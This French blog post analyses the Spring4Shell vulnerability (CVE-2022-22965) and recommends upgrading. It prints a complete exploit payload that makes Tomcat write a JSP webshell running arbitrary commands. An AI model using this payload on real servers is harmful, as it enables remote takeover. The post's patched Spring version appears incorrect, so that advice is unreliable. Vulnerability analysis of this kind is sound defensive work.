Analyse Spring Framework RCE (CVE-2022–22965)

Si vos applications Web utilisent le framework Spring, vous devez être prudent.

Cette vulnérabilité (CVE-2022-22965) a été publiée sur le site Web officiel de Spring le 31 mars 2022. Cela fait plus d'un mois depuis maintenant, et de nombreux développeurs ne le savent peut-être pas. Si vos applications Spring MVC s'exécutent sur JDK9+, les attaquants peuvent utiliser la fonction de liaison de paramètres de Spring MVC pour écrire du code malveillant dans le programme cible afin d'atteindre l'objectif d'intrusion.

Condition de déclenchement

  1. Exécuté sur JDK 9 ou supérieur.
  2. Emballé comme un conteneur traditionnel WARet déployé sur un conteneur de servlet autonome tel que Apache Tomcat.
  3. spring-webmvcest utilisé et la fonction de liaison de données est utilisée.

L'une des raisons de cette vulnérabilité est la fonction de liaison de données de spring, qui est familière aux développeurs Java d'entreprise . La liaison de données est utilisée pour les paramètres de méthode de contrôleur qui sont annotés avec @ModelAttributeou éventuellement sans. Spring utilise cette fonction pour analyser les paramètres de HTTPrequête (paramètres de requête ou données de formulaire), puis remplir un objet. Maintenant, nous utilisons un exemple pour reproduire cette vulnérabilité.

Dans des conditions normales, lorsque vous définissez les paramètres normaux et request /test, le résultat souhaité sera renvoyé, mais soyez prudent si le formulaire que vous demandez est les paramètres suivants.

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Analyse de vulnérabilité

Prenons le class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspparamètre comme exemple. Lors de la liaison des paramètres de printemps, il utilisera un délimiteur .pour résoudre les paramètres de manière récursive. Lorsqu'il est résolu au dernier suffixe de référence, il peut injecter .jspde la valeur dans l' Accesslogvalveattribut d'objet de Tomcat. L'ensemble de la chaîne d'analyse de liaison de paramètres est illustré ci-dessous.

User.getClass()
  java.lang.Class.getModule()
   java.lang.Module.getClassLoader()
 org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
      org.apache.catalina.webresources.StandardRoot.getContext()
        org.apache.catalina.core.StandardContext.getParent()
           org.apache.catalina.core.StandardHost.getPipeline()
             org.apache.catalina.core.StandardPipeline.getFirst()
               org.apache.catalina.valves.AccessLogValve.setSuffix()

Bien que cette vulnérabilité soit extrêmement fatale, avec la popularité des microservices et la commodité du conteneur Web intégré Spring-Boot , peu de personnes utilisent war pour s'exécuter dans le conteneur Tomcat, de sorte que l'impact de la vulnérabilité est limité. Toutefois, si vous utilisez jdk9+ et que votre système Web est déployé sur Apache Tomcat, vous feriez mieux de mettre à niveau votre version de Tomcat vers 9.0.62ou de mettre à niveau la version Spring vers 5.1.18.

Merci d'avoir lu.

Suggested posts

Le mensonge du cow-boy

Comment les mégacorporations ont vendu aux Américains un mensonge costaud

Le mensonge du cow-boy

C'est un matin brillamment doré dans les collines de l'ouest, alors que les premiers rayons du soleil illuminent l'herbe givrée des plaines. Un troupeau de bovins Angus placides, d'un noir de jais et massif, se découpe sur le lever du soleil alors qu'ils descendent un sentier battu vers un lieu qu'ils connaissent tous bien; le bar du petit-déjeuner.

La révolution du lieu de travail : les meilleurs experts discutent du travail hybride et à distance

La révolution du lieu de travail : les meilleurs experts discutent du travail hybride et à distance

Dans le paysage commercial en évolution rapide d'aujourd'hui, le concept de travail hybride et à distance a pris un élan sans précédent. Alors que les entreprises continuent de s'adapter à l'évolution des besoins et des attentes de leurs employés, des experts de divers domaines se sont réunis pour discuter des avantages, des défis et de l'avenir de cette façon de travailler transformatrice.

Related posts

Comment sauver la planète et gagner de l'argent

Comment sauver la planète et gagner de l'argent

Combien de fois avez-vous jeté une bouteille en plastique, un bocal en verre, une canette en aluminium ou un paquet d'énergie verte sans réfléchir à deux fois ? Combien de fois avez-vous souhaité pouvoir obtenir quelque chose en échange de leur recyclage ? Si vous êtes comme la plupart des gens, la réponse est probablement plusieurs fois. Le recyclage est souvent perçu comme un tracas, une corvée ou un devoir qui n'apporte aucun bénéfice immédiat ou tangible.

Le premier livre d'un enfant sur la défonce

Le premier livre d'un enfant sur la défonce

(Attention - Ceci est une satire, destinée à être joyeusement subversive - Certainement pas pour les enfants) Vous avez vu votre mère et votre père se cacher dans la cuisine et fumer ces cigarettes malodorantes. Ils vous disent.

Journal ouvert

Journal ouvert

Journal ouvert : une image par jour. J'ai toujours été fasciné par les histoires.

Repenser les médias : les cinq vérités de McChesney et l'avenir des communications

Dans le monde hyper-connecté d'aujourd'hui, les systèmes médiatiques jouent un rôle central dans la formation de l'opinion publique et, par conséquent, dans la prise de décision démocratique. Dans son analyse approfondie de l'économie politique de la communication, le chercheur Robert McChesney remet en question la sagesse conventionnelle et présente ce qu'il appelle les « cinq vérités » sur les médias.